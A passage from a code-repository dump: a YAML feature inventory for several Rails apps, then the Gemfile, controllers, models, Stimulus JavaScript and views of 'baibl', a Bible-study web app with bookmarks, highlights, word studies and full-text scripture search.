PostgreSQL, pgvector, multimodal retrieval, richer PWA/offline features\n    deploy_script: DEPLOY/rails/amber/amber.sh\n    app_path: DEPLOY/rails/amber/app\n    public: true\n    features:\n      core:\n        - { name: Item (title, color, size, material, texture, brand, price, category, sku, release_date, stock_quantity, available, user), status: done, notes: pub4 version adds mood/occasion/life_phase/times_worn on top }\n        - { name: cost_per_wear calculation,                               status: done }\n        - { name: wear! increment,                                         status: done }\n        - { name: aging_unworn / never_worn scopes,                        status: done }\n        - { name: Outfit (likes_count),                                    status: done }\n        - { name: OutfitItem join (position),                              status: done }\n        - { name: Item photos (Active Storage has_many_attached),          status: done }\n        - { name: Hotwire broadcasts_refreshes on Item/Outfit,             status: done }\n        - { name: items + outfits index/show views,                        status: done }\n        - { name: Post model for amber social feed,                        status: done }\n        - { name: Wardrobe model (collection container),                   status: port }\n        - { name: Connection model (follow / friend),                      status: port }\n        - { name: LiveStream model,                                        status: port }\n        - { name: Message model,                                           status: port }\n        - { name: wardrobe upload UI (drag-and-drop),                      status: missing }\n        - { name: garment segmentation / background removal,               status: missing }\n        - { name: outfit generation by weather/season/event,               status: missing }\n        - { name: style evolution timeline / aesthetic phases,             status: missing }\n        - { name: underused item surfacing,                                status: missing }\n        - { name: wardrobe analytics dashboard,                            status: port }\n        - { name: closet organisation tips (AI),                           status: missing }\n        - { name: social feed,                                             status: missing }\n        - { name: affiliate commerce links,                                status: port }\n      planned:\n        - { name: fashion embeddings (pgvector),                           status: planned }\n        - { name: visual similarity search,                                status: planned }\n        - { name: virtual fitting room,                                    status: planned }\n        - { name: mood matcher,                                            status: planned }\n        - { name: event outfit planner,                                    status: planned }\n        - { name: sustainable styles / resale,                             status: planned }\n        - { name: weather-based suggestions,                               status: planned }\n        - { name: global trends / local designer highlights,               status: planned }\n        - { name: style agents (MASTER integration),                       status: planned }\n\n  baibl:\n    title: Baibl\n    domain: baibl.no\n    port: 10007\n    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd\n    stack_later: PostgreSQL, pgvector, GraphRAG, semantic scripture retrieval\n    deploy_script: DEPLOY/rails/baibl/baibl.sh\n    app_path: DEPLOY/rails/baibl/app\n    public: true\n    features:\n      core:\n        - { name: Verse model,                                             status: port }\n        - { name: Translation model (Aramaic/KJV/multi-language),         status: port }\n        - { name: Analysis model (AI linguistic, confidence scoring),      status: port }\n        - { name: Comment model (threaded),                                status: port }\n        - { name: full-text scripture search,                              status: port }\n        - { name: real-time translation (Hotwire),                        status: port }\n        - { name: AI linguistic analysis (OpenAI / Langchain),             status: port }\n        - { name: Norwegian interface,                                     status: port }\n        - { name: Genesis Ch.1 trilingual seed data,                      status: port }\n        - { name: Book / Chapter navigation,                               status: missing }\n        - { name: collaborative annotation (Annotation model),             status: missing }\n        - { name: Theme / Doctrine cross-reference,                        status: missing }\n        - { name: historical context layer,                                status: missing }\n        - { name: linguistic context (Hebrew/Greek morphology),            status: missing }\n        - { name: RESTful API,                                             status: port }\n      planned:\n        - { name: study groups,                                            status: planned }\n        - { name: reading plans,                                           status: planned }\n        - { name: offline sync,                                            status: planned }\n        - { name: GraphRAG theology graph (pgvector),                      status: planned }\n        - { name: seminary integration,                                    status: planned }\n\n  blognet:\n    title: Blognet\n    domain: blognet.no\n    port: 10002\n    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd\n    stack_later: PostgreSQL, pgvector, editorial knowledge graph, Foodielicious vertical routing\n    deploy_script: DEPLOY/rails/blognet/blognet.sh\n    app_path: DEPLOY/rails/blognet/app\n    public: true\n    features:\n      core:\n        - { name: Blog model,                                              status: port }\n        - { name: Post / Article model,                                    status: port }\n        - { name: Category model,                                          status: port }\n        - { name: Comment model (polymorphic),                             status: port }\n        - { name: Like model (polymorphic),                                status: port }\n        - { name: multi-domain megablog routing (foodielicio.us etc.),    status: port }\n        - { name: public/megablog/private privacy tiers,                   status: port }\n        - { name: Author profile,                                          status: missing }\n        - { name: RSS / Atom feed,                                         status: missing }\n        - { name: structured article metadata (schema.org),                status: missing }\n        - { name: semantic search,                                         status: missing }\n        - { name: Membership / Subscription / paywall,                     status: missing }\n        - { name: AI narration (TTS article),                              status: missing }\n        - { name: citation system,                                         status: missing }\n        - { name: editorial workflow (draft/review/publish),               status: missing }\n        - { name: AI recommendations,                                      status: port }\n        - { name: ad-supported + sponsored posts,                          status: planned }\n      foodielicious:\n        notes: Food vertical, public brand foodielicio.us\n        items:\n        - { name: Recipe model (structured schema.org),                    status: missing }\n        - { name: Ingredient model + metadata,                             status: missing }\n        - { name: step-by-step cooking view,                               status: missing }\n        - { name: recipe collections / playlists,                          status: missing }\n        - { name: rich media gallery (lightGallery.js),                    status: missing }\n        - { name: short-form food clips,                                   status: missing }\n        - { name: locality-aware restaurant references,                    status: missing }\n        - { name: seasonal food guides,                                    status: missing }\n      multimedia_pipeline:\n        - { name: article \u2192 podcast,                                       status: missing }\n        - { name: article \u2192 summary,                                       status: missing }\n        - { name: article \u2192 video,                                         status: missing }\n        - { name: article \u2192 thread,                                        status: missing }\n      research_mode:\n        - { name: semantic note system,                                    status: planned }\n        - { name: source clustering,                                       status: planned }\n        - { name: timeline generation,                                     status: planned }\n        - { name: knowledge archives,                                      status: planned }\n\n  bsdports:\n    title: bsdports\n    domain: bsdports.org\n    port: 47312\n    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd\n    stack_later: PostgreSQL, pgvector, infrastructure knowledge graph, OpenBSD package intelligence\n    deploy_script: DEPLOY/rails/bsdports/bsdports.sh\n    app_path: DEPLOY/rails/bsdports/app\n    public: true\n    features:\n      core:\n        - { name: Platform (name) \u2014 OpenBSD/FreeBSD/NetBSD,                  status: port }\n        - { name: Category (name, platform),                                status: port }\n        - { name: Port (name, summary, url, description, category, platform), status: port, notes: generator calls model Port not Package }\n        - { name: Dependency model,                                         status: missing, notes: described in README but not in generator }\n        - { name: SecurityAdvisory model,                                   status: missing, notes: described in README but not in generator }\n        - { name: Maintainer model,                                         status: missing }\n        - { name: live search on name/summary/description (Hotwire),       status: port }\n        - { name: FTP import of real ports tree (OpenBSD/FreeBSD/NetBSD),  status: port }\n        - { name: dependency tree visualization,                            status: missing }\n        - { name: ports tree scheduled re-import job,                       status: missing }\n        - { name: WCAG AAA compliance pass,                                status: missing }\n        - { name: AI exploration assistant,                                status: missing }\n      planned:\n        - { name: semantic package search (pgvector),                      status: planned }\n        - { name: infrastructure knowledge graph,                          status: planned }\n        - { name: OpenBSD package intelligence,                            status: planned }\n\n  hjerterom:\n    title: Hjerterom\n    domain: hjerterom.no\n    port: 38891\n    stack_now: SQLite3, Rails 8, Hotwire, Falcon, Active Storage, OpenBSD, relayd\n    stack_later: PostgreSQL, route optimization, reporting jobs, operational forecasting\n    deploy_script: DEPLOY/rails/hjerterom/hjerterom.sh\n    app_path: DEPLOY/rails/hjerterom/app\n    public: true\n    features:\n      core:\n        - { name: Donation / FoodItem intake model,                        status: missing }\n        - { name: Box (weekly food parcel) coordination,                   status: missing }\n        - { name: Volunteer model (shifts, availability),                  status: missing }\n        - { name: shift scheduling + notifications,                        status: missing }\n        - { name: Donor model + management,                                status: missing }\n        - { name: Beneficiary model + matching,                            status: missing }\n        - { name: clothing / toy / book reuse tracking,                    status: missing }\n        - { name: distribution route optimization,                         status: missing }\n      planned:\n        - { name: reporting jobs (Solid Queue),                            status: planned }\n        - { name: operational forecasting,                                 status: planned }\n```\n\n## `rails/baibl/Gemfile`\n```text\nsource \"https://rubygems.org\"\nruby \"~&gt; 3.4\"\n\n# Bundle edge Rails instead: gem \"rails\", github: \"rails/rails\", branch: \"main\"\ngem \"rails\", \"~&gt; 8.1.2\"\n# The modern asset pipeline for Rails [https://github.com/rails/propshaft]\ngem \"propshaft\"\n# Use sqlite3 as the database for Active Record\ngem \"sqlite3\", \"&gt;= 2.1\"\n# Use the Puma web server [https://github.com/puma/puma]\n# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]\ngem \"importmap-rails\"\n# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]\ngem \"turbo-rails\"\n# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]\ngem \"stimulus-rails\"\n# Build JSON APIs with ease [https://github.com/rails/jbuilder]\ngem \"jbuilder\"\n\n# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]\n# gem \"bcrypt\", \"~&gt; 3.1.7\"\n\n# Windows does not include zoneinfo files, so bundle the tzinfo-data gem\ngem \"tzinfo-data\", platforms: %i[ windows jruby ]\n\n# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable\ngem \"solid_cache\"\ngem \"solid_queue\"\ngem \"solid_cable\"\n\n# Reduces boot times through caching; required in config/boot.rb\ngem \"bootsnap\", require: false\n\n# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]\ngem \"image_processing\", \"~&gt; 1.2\"\n\ngroup :development, :test do\n  # See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem\n  gem \"debug\", platforms: %i[ mri windows ], require: \"debug/prelude\"\n\n  # Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)\n  gem \"bundler-audit\", require: false\n\n  # Static analysis for security vulnerabilities [https://brakemanscanner.org/]\n  gem \"brakeman\", require: false\n\n  # Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]\n  gem \"rubocop-rails-omakase\", require: false\nend\n\ngroup :development do\n  # Use console on exceptions pages [https://github.com/rails/web-console]\n  gem \"web-console\"\nend\ngem \"pagy\"\ngem \"prism\", \"1.9.0\"\ngem \"falcon\"\n```\n\n## `rails/baibl/README.md`\n```markdown\n# baibl \u2014 scripture and theology graph\n\nMost Bible apps are readers. baibl is a study and knowledge system \u2014 semantic search, collaborative annotation, doctrinal mapping, and AI-assisted exploration in one shared theology graph.\n\n## Features\n\n- Semantic scripture search across translations\n- Collaborative annotation and commentary threads\n- Theme and doctrine cross-referencing\n- Historical and linguistic context layers\n- AI study assistant\n\n## Stack\n\nRails 8 \u00b7 SQLite \u00b7 Falcon \u00b7 Hotwire \u00b7 OpenBSD\n\n## Deploy\n\n```zsh\ndoas zsh DEPLOY/rails/baibl/baibl.sh\n```\n\n## Roadmap\n\nStudy groups \u00b7 reading plans \u00b7 offline sync \u00b7 seminary integration\n```\n\n## `rails/baibl/app/controllers/application_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationController &lt; ActionController::Base\n  include Authentication\n  include Pagy::Method\n  allow_browser versions: :modern\nend\n```\n\n## `rails/baibl/app/controllers/bookmarks_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass BookmarksController &lt; ApplicationController\n  before_action :require_authentication\n\n  def index\n    @pagy, @bookmarks = pagy(Current.user.bookmarks.includes(verse: [:book, :chapter]))\n  end\n\n  def create\n    verse = Verse.find(params[:verse_id])\n    @bookmark = Current.user.bookmarks.find_or_create_by!(verse: verse)\n    respond_to do |format|\n      format.turbo_stream\n      format.json { render json: { status: \"ok\" } }\n    end\n  end\n\n  def destroy\n    @bookmark = Current.user.bookmarks.find(params[:id])\n    @bookmark.destroy!\n    respond_to do |format|\n      format.turbo_stream\n      format.html { redirect_to bookmarks_path }\n    end\n  end\nend\n```\n\n## `rails/baibl/app/controllers/concerns/authentication.rb`\n```ruby\n# frozen_string_literal: true\n\nmodule Authentication\n  extend ActiveSupport::Concern\n\n  included do\n    before_action :require_authentication\n    helper_method :authenticated?\n  end\n\n  class_methods do\n    def allow_unauthenticated_access(**options)\n      skip_before_action :require_authentication, **options\n    end\n  end\n\n  private\n    def authenticated?\n      resume_session\n    end\n\n    def require_authentication\n      resume_session || request_authentication\n    end\n\n    def resume_session\n      Current.session ||= find_session_by_cookie\n    end\n\n    def find_session_by_cookie\n      Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]\n    end\n\n    def request_authentication\n      session[:return_to_after_authenticating] = request.url\n      redirect_to new_session_path\n    end\n\n    def after_authentication_url\n      session.delete(:return_to_after_authenticating) || root_url\n    end\n\n    def start_new_session_for(user)\n      user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|\n        Current.session = session\n        cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }\n      end\n    end\n\n    def terminate_session\n      Current.session.destroy\n      cookies.delete(:session_id)\n    end\nend\n```\n\n## `rails/baibl/app/controllers/highlights_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass HighlightsController &lt; ApplicationController\n  before_action :require_authentication\n\n  def create\n    verse = Verse.find(params[:verse_id])\n    @highlight = Current.user.highlights.find_or_initialize_by(verse: verse)\n    @highlight.update!(color: params[:color] || \"yellow\")\n    respond_to do |format|\n      format.turbo_stream\n      format.json { render json: { status: \"ok\" } }\n    end\n  end\n\n  def destroy\n    @highlight = Current.user.highlights.find(params[:id])\n    @highlight.destroy!\n    respond_to do |format|\n      format.turbo_stream\n      format.json { render json: { status: \"ok\" } }\n    end\n  end\nend\n```\n\n## `rails/baibl/app/controllers/passwords_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass PasswordsController &lt; ApplicationController\n  allow_unauthenticated_access\n  before_action :set_user_by_token, only: %i[ edit update ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_password_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.find_by(email_address: params[:email_address])\n      PasswordsMailer.reset(user).deliver_later\n    end\n\n    redirect_to new_session_path, notice: \"Password reset instructions sent (if user with that email address exists).\"\n  end\n\n  def edit\n  end\n\n  def update\n    if @user.update(params.permit(:password, :password_confirmation))\n      @user.sessions.destroy_all\n      redirect_to new_session_path, notice: \"Password has been reset.\"\n    else\n      redirect_to edit_password_path(params[:token]), alert: \"Passwords did not match.\"\n    end\n  end\n\n  private\n    def set_user_by_token\n      @user = User.find_by_password_reset_token!(params[:token])\n    rescue ActiveSupport::MessageVerifier::InvalidSignature\n      redirect_to new_password_path, alert: \"Password reset link is invalid or has expired.\"\n    end\nend\n```\n\n## `rails/baibl/app/controllers/scriptures_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ScripturesController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[index book chapter search word_study]\n\n  def index\n    @books = Book.ordered\n    @daily_verse = Verse.order(\"RANDOM()\").limit(1).first\n  end\n\n  def book\n    @book     = Book.find_by!(abbreviation: params[:abbreviation])\n    @chapters = @book.chapters.order(:number)\n  end\n\n  def chapter\n    @book    = Book.find_by!(abbreviation: params[:book_abbreviation])\n    @chapter = @book.chapters.find_by!(number: params[:number])\n    @verses  = @chapter.verses.order(:number).includes(:highlights, :bookmarks)\n  end\n\n  def search\n    @pagy, @verses = pagy(Verse.full_text_search(params[:q]).includes(:book, :chapter), items: 20)\n    render :search\n  end\n\n  def word_study\n    verse    = Verse.includes(:word_studies, cross_references: :target_verse).find(params[:verse_id])\n    position = params[:position].to_i\n    @study   = verse.word_studies.find_by(position:)\n    @xrefs   = verse.cross_references.includes(target_verse: %i[book chapter])\n    @verse   = verse\n    render partial: \"word_study\", locals: { study: @study, xrefs: @xrefs, verse: @verse }\n  end\nend\n```\n\n## `rails/baibl/app/controllers/sessions_controller.rb`\n```ruby\n# frozen_string_literal: true\n\nclass SessionsController &lt; ApplicationController\n  allow_unauthenticated_access only: %i[ new create ]\n  rate_limit to: 10, within: 3.minutes, only: :create, with: -&gt; { redirect_to new_session_path, alert: \"Try again later.\" }\n\n  def new\n  end\n\n  def create\n    if user = User.authenticate_by(params.permit(:email_address, :password))\n      start_new_session_for user\n      redirect_to after_authentication_url\n    else\n      redirect_to new_session_path, alert: \"Try another email address or password.\"\n    end\n  end\n\n  def destroy\n    terminate_session\n    redirect_to new_session_path, status: :see_other\n  end\nend\n```\n\n## `rails/baibl/app/javascript/application.js`\n```javascript\n// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails\nimport \"@hotwired/turbo-rails\"\nimport \"controllers\"\n\nif (\"serviceWorker\" in navigator) navigator.serviceWorker.register(\"/service-worker\")\n\n// Nav swipe-to-reveal\ndocument.addEventListener(\"turbo:load\", () =&gt; {\n  const nav = document.querySelector(\"nav\");\n  if (!nav) return;\n  let y0 = 0;\n  document.addEventListener(\"touchstart\", e =&gt; { y0 = e.touches[0].clientY; }, { passive: true });\n  document.addEventListener(\"touchend\", e =&gt; {\n    const dy = e.changedTouches[0].clientY - y0;\n    if (dy &gt; 40) nav.classList.add(\"nav-visible\");\n    else if (dy &lt; -40) nav.classList.remove(\"nav-visible\");\n  }, { passive: true });\n});\n```\n\n## `rails/baibl/app/javascript/controllers/animated_number_controller.js`\n```javascript\nimport AnimatedNumber from \"@stimulus-components/animated-number\"\nexport default class extends AnimatedNumber {}\n```\n\n## `rails/baibl/app/javascript/controllers/application.js`\n```javascript\nimport { Application } from \"@hotwired/stimulus\"\n\nconst application = Application.start()\n\n// Configure Stimulus development experience\napplication.debug = false\nwindow.Stimulus   = application\n\nexport { application }\n```\n\n## `rails/baibl/app/javascript/controllers/application_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\nimport StimulusReflex from \"stimulus_reflex\"\n\nexport default class extends Controller {\n  connect() {\n    StimulusReflex.register(this)\n  }\n}\n```\n\n## `rails/baibl/app/javascript/controllers/auto_submit_controller.js`\n```javascript\nimport AutoSubmit from \"@stimulus-components/auto-submit\"\nexport default class extends AutoSubmit {}\n```\n\n## `rails/baibl/app/javascript/controllers/character_counter_controller.js`\n```javascript\nimport CharacterCounter from \"@stimulus-components/character-counter\"\nexport default class extends CharacterCounter {}\n```\n\n## `rails/baibl/app/javascript/controllers/clipboard_controller.js`\n```javascript\nimport Clipboard from \"@stimulus-components/clipboard\"\nexport default class extends Clipboard {}\n```\n\n## `rails/baibl/app/javascript/controllers/dialog_controller.js`\n```javascript\nimport Dialog from \"@stimulus-components/dialog\"\nexport default class extends Dialog {}\n```\n\n## `rails/baibl/app/javascript/controllers/dropdown_controller.js`\n```javascript\nimport Dropdown from \"@stimulus-components/dropdown\"\nexport default class extends Dropdown {}\n```\n\n## `rails/baibl/app/javascript/controllers/hello_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.element.textContent = \"Hello World!\"\n  }\n}\n```\n\n## `rails/baibl/app/javascript/controllers/index.js`\n```javascript\nimport { application } from \"controllers/application\"\nimport { eagerLoadControllersFrom } from \"@hotwired/stimulus-loading\"\nimport StimulusReflex from \"stimulus_reflex\"\nimport ApplicationController from \"controllers/application_controller\"\n\neagerLoadControllersFrom(\"controllers\", application)\n\nStimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })\n```\n\n## `rails/baibl/app/javascript/controllers/notification_controller.js`\n```javascript\nimport Notification from \"@stimulus-components/notification\"\nexport default class extends Notification {}\n```\n\n## `rails/baibl/app/javascript/controllers/sortable_controller.js`\n```javascript\nimport Sortable from \"@stimulus-components/sortable\"\nexport default class extends Sortable {}\n```\n\n## `rails/baibl/app/javascript/controllers/textarea_autogrow_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  connect() {\n    this.resize()\n    this.element.addEventListener(\"input\", this.resize)\n  }\n\n  disconnect() {\n    this.element.removeEventListener(\"input\", this.resize)\n  }\n\n  resize = () =&gt; {\n    this.element.style.height = \"auto\"\n    this.element.style.height = `${this.element.scrollHeight}px`\n  }\n}\n```\n\n## `rails/baibl/app/javascript/controllers/timeago_controller.js`\n```javascript\nimport TimeAgo from \"@stimulus-components/timeago\"\nexport default class extends TimeAgo {}\n```\n\n## `rails/baibl/app/javascript/controllers/word_study_controller.js`\n```javascript\nimport { Controller } from \"@hotwired/stimulus\"\n\nexport default class extends Controller {\n  static values = { verseId: Number, position: Number, url: String }\n\n  toggle(e) {\n    e.stopPropagation()\n    const popover = document.getElementById(\"word-popover\")\n    const active  = document.querySelector(\".word.active\")\n\n    if (active === this.element) {\n      this.close(popover)\n      return\n    }\n    if (active) active.classList.remove(\"active\")\n    this.element.classList.add(\"active\")\n    this.load(popover)\n    this.position(popover)\n  }\n\n  async load(popover) {\n    popover.removeAttribute(\"hidden\")\n    popover.innerHTML = \"\u2026\"\n    const r = await fetch(this.urlValue, { headers: { Accept: \"text/html\" } })\n    popover.innerHTML = await r.text()\n  }\n\n  position(popover) {\n    const rect = this.element.getBoundingClientRect()\n    const top  = rect.bottom + window.scrollY + 6\n    const left = Math.min(rect.left + window.scrollX, window.innerWidth - 320)\n    popover.style.top  = `${top}px`\n    popover.style.left = `${Math.max(8, left)}px`\n  }\n\n  close(popover) {\n    this.element.classList.remove(\"active\")\n    popover.setAttribute(\"hidden\", \"\")\n    popover.innerHTML = \"\"\n  }\n\n  disconnect() {\n    const popover = document.getElementById(\"word-popover\")\n    if (popover) { popover.setAttribute(\"hidden\", \"\"); popover.innerHTML = \"\" }\n  }\n}\n```\n\n## `rails/baibl/app/jobs/analysis_job.rb`\n```ruby\n# frozen_string_literal: true\n\nclass AnalysisJob &lt; ApplicationJob\n  queue_as :analysis\n\n  def perform(verse_id)\n    verse = Verse.find(verse_id)\n    Shared::EventEmitter.call(\"baibl.analysis.started\", verse_id: verse.id) if defined?(Shared::EventEmitter)\n\n    # Hook AI linguistic/context analysis here. Keep output deterministic and reviewable:\n    # verse -&gt; analysis request -&gt; Analysis upsert -&gt; Turbo Stream update.\n\n    Shared::EventEmitter.call(\"baibl.analysis.completed\", verse_id: verse.id) if defined?(Shared::EventEmitter)\n  rescue StandardError =&gt; e\n    Shared::EventEmitter.call(\"baibl.analysis.failed\", verse_id:, error: e.message) if defined?(Shared::EventEmitter)\n    raise\n  end\nend\n```\n\n## `rails/baibl/app/models/annotation.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Annotation &lt; ApplicationRecord\n  enum :visibility, { private_note: 0, group_note: 1, public_note: 2 }, default: :private_note\n\n  belongs_to :verse\n  belongs_to :user, optional: true\n\n  validates :body, presence: true\n\n  scope :recent, -&gt; { order(created_at: :desc) }\n  scope :publicly_visible, -&gt; { where(visibility: :public_note) }\n\n  after_create_commit { broadcast_prepend_later_to \"baibl:annotations\" }\n  after_update_commit { broadcast_replace_later_to \"baibl:annotations\" }\nend\n```\n\n## `rails/baibl/app/models/book.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Book &lt; ApplicationRecord\n  has_many :chapters, dependent: :destroy\n  has_many :verses, dependent: :destroy\n\n  TESTAMENTS = %w[Old New].freeze\n\n  validates :name, :abbreviation, :testament, presence: true\n  validates :testament, inclusion: { in: TESTAMENTS }\n  validates :abbreviation, uniqueness: true\n\n  scope :old_testament, -&gt; { where(testament: \"Old\").order(:order_index) }\n  scope :new_testament, -&gt; { where(testament: \"New\").order(:order_index) }\n  scope :ordered,       -&gt; { order(:order_index) }\nend\n```\n\n## `rails/baibl/app/models/bookmark.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Bookmark &lt; ApplicationRecord\n  belongs_to :verse\n  belongs_to :user\n\n  validates :verse_id, uniqueness: { scope: :user_id }\n\n  after_create_commit -&gt; { broadcast_append_to [user, \"bookmarks\"] }\nend\n```\n\n## `rails/baibl/app/models/chapter.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Chapter &lt; ApplicationRecord\n  belongs_to :book\n  has_many :verses, dependent: :destroy\n\n  validates :number, presence: true\n  validates :number, uniqueness: { scope: :book_id }\n\n  scope :ordered, -&gt; { order(:number) }\n\n  def reference = \"#{book.name} #{number}\"\nend\n```\n\n## `rails/baibl/app/models/cross_reference.rb`\n```ruby\n# frozen_string_literal: true\n\nclass CrossReference &lt; ApplicationRecord\n  belongs_to :verse\n  belongs_to :target_verse, class_name: \"Verse\"\n\n  KINDS = %w[lexical thematic parallel typological fulfillment].freeze\n  validates :kind, inclusion: { in: KINDS }, allow_nil: true\n  validates :verse_id, uniqueness: { scope: :target_verse_id }\nend\n```\n\n## `rails/baibl/app/models/current.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Current &lt; ActiveSupport::CurrentAttributes\n  attribute :session\n  delegate :user, to: :session, allow_nil: true\nend\n```\n\n## `rails/baibl/app/models/highlight.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Highlight &lt; ApplicationRecord\n  belongs_to :verse\n  belongs_to :user\n\n  COLORS = %w[yellow green blue pink orange].freeze\n\n  validates :color, inclusion: { in: COLORS }\n  validates :verse_id, uniqueness: { scope: :user_id }\n\n  after_create_commit -&gt; { broadcast_replace_to [user, \"highlights\"] }\nend\n```\n\n## `rails/baibl/app/models/reading_plan.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ReadingPlan &lt; ApplicationRecord\n  belongs_to :user, optional: true\n  has_many :reading_plan_days, dependent: :destroy\n\n  validates :name, presence: true\n  validates :duration_days, numericality: { greater_than: 0 }, allow_nil: true\n\n  def progress\n    return 0.0 if reading_plan_days.empty?\n    reading_plan_days.where.not(completed_at: nil).count.to_f / reading_plan_days.count\n  end\nend\n```\n\n## `rails/baibl/app/models/reading_plan_day.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ReadingPlanDay &lt; ApplicationRecord\n  belongs_to :reading_plan\n  belongs_to :book\n\n  validates :day_number, presence: true\n  validates :day_number, uniqueness: { scope: :reading_plan_id }\n\n  scope :ordered, -&gt; { order(:day_number) }\n\n  def completed? = completed_at.present?\nend\n```\n\n## `rails/baibl/app/models/session.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Session &lt; ApplicationRecord\n  belongs_to :user\nend\n```\n\n## `rails/baibl/app/models/user.rb`\n```ruby\n# frozen_string_literal: true\n\nclass User &lt; ApplicationRecord\n  has_secure_password\n  has_many :sessions, dependent: :destroy\n  has_many :highlights, dependent: :destroy\n  has_many :bookmarks, dependent: :destroy\n  has_many :reading_plans, dependent: :destroy\n\n  normalizes :email_address, with: -&gt;(e) { e.strip.downcase }\nend\n```\n\n## `rails/baibl/app/models/verse.rb`\n```ruby\n# frozen_string_literal: true\n\nclass Verse &lt; ApplicationRecord\n  belongs_to :chapter\n  belongs_to :book\n\n  has_many :highlights,       dependent: :destroy\n  has_many :bookmarks,        dependent: :destroy\n  has_many :word_studies,     dependent: :destroy\n  has_many :cross_references, dependent: :destroy\n  has_many :target_verses,    through: :cross_references\n\n  validates :number, :content, presence: true\n  validates :number, uniqueness: { scope: :chapter_id }\n\n  scope :in_chapter, -&gt;(chapter) { where(chapter: chapter).order(:number) }\n  scope :full_text_search, -&gt;(q) {\n    ids = connection.select_values(sanitize_sql_array([\"SELECT rowid FROM verses_fts WHERE verses_fts MATCH ?\", q]))\n    ids.any? ? where(id: ids) : none\n  }\n\n  def reference\n    \"#{book.name} #{chapter.number}:#{number}\"\n  end\nend\n```\n\n## `rails/baibl/app/models/word_study.rb`\n```ruby\n# frozen_string_literal: true\n\nclass WordStudy &lt; ApplicationRecord\n  belongs_to :verse\n\n  LANGUAGES = %w[hebrew greek arabic].freeze\n  validates :position, :word, presence: true\n  validates :position, uniqueness: { scope: :verse_id }\n  validates :language, inclusion: { in: LANGUAGES }, allow_nil: true\n\n  def strongs_url\n    return nil unless strongs.present?\n    prefix = strongs.start_with?(\"H\") ? \"hebrew\" : \"greek\"\n    \"https://www.blueletterbible.org/lexicon/#{strongs.downcase}/#{prefix}/wlc/0-1/\"\n  end\nend\n```\n\n## `rails/baibl/app/reflexes/application_reflex.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ApplicationReflex &lt; StimulusReflex::Reflex\nend\n```\n\n## `rails/baibl/app/services/scripture_search.rb`\n```ruby\n# frozen_string_literal: true\n\nclass ScriptureSearch\n  COLUMNS = %w[text reference book_name].freeze\n\n  def self.call(query:, scope: Verse.all)\n    new(query:, scope:).call\n  end\n\n  def initialize(query:, scope:)\n    @query = query.to_s.strip\n    @scope = scope\n  end\n\n  def call\n    return scope.order(:book_index, :chapter, :number) if query.empty?\n\n    if defined?(Shared::LiveSearch)\n      Shared::LiveSearch.call(scope, query:, columns: COLUMNS).order(:book_index, :chapter, :number)\n    else\n      like = \"%#{ActiveRecord::Base.sanitize_sql_like(query)}%\"\n      scope.where(\"text LIKE :q OR reference LIKE :q OR book_name LIKE :q\", q: like).order(:book_index, :chapter, :number)\n    end\n  end\n\n  private\n\n  attr_reader :query, :scope\nend\n```\n\n## `rails/baibl/app/views/bookmarks/index.html.erb`\n```erb\n&lt;% content_for :title, \"Bookmarks\" %&gt;\n\nBookmarks\n&lt;% if @bookmarks.any? %&gt;\n  &lt;% @bookmarks.each do |bookmark| %&gt;\n    \n\n      \n&lt;%= link_to \"#{bookmark.verse.book.abbreviation} #{bookmark.verse.chapter.number}:#{bookmark.verse.number}\", scripture_chapter_path(bookmark.verse.book.abbreviation, bookmark.verse.chapter.number) %&gt;\n      \n&lt;%= bookmark.verse.content %&gt;\n      &lt;% if bookmark.note.present? %&gt;\n&lt;%= bookmark.note %&gt;&lt;% end %&gt;\n      &lt;%= button_to \"Remove\", bookmark, method: :delete %&gt;\n    \n  &lt;% end %&gt;\n  &lt;%= @pagy.series_nav if @pagy.pages &gt; 1 %&gt;\n&lt;% else %&gt;\n  \nNo bookmarks yet. Bookmark verses while reading.\n&lt;% end %&gt;\n```\n\n## `rails/baibl/app/views/highlights/create.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace \"highlight_#{@highlight.verse_id}\", partial: \"highlights/toggle\", locals: { verse: @highlight.verse, highlight: @highlight } %&gt;\n```\n\n## `rails/baibl/app/views/highlights/destroy.turbo_stream.erb`\n```erb\n&lt;%= turbo_stream.replace \"highlight_#{@highlight.verse_id}\", partial: 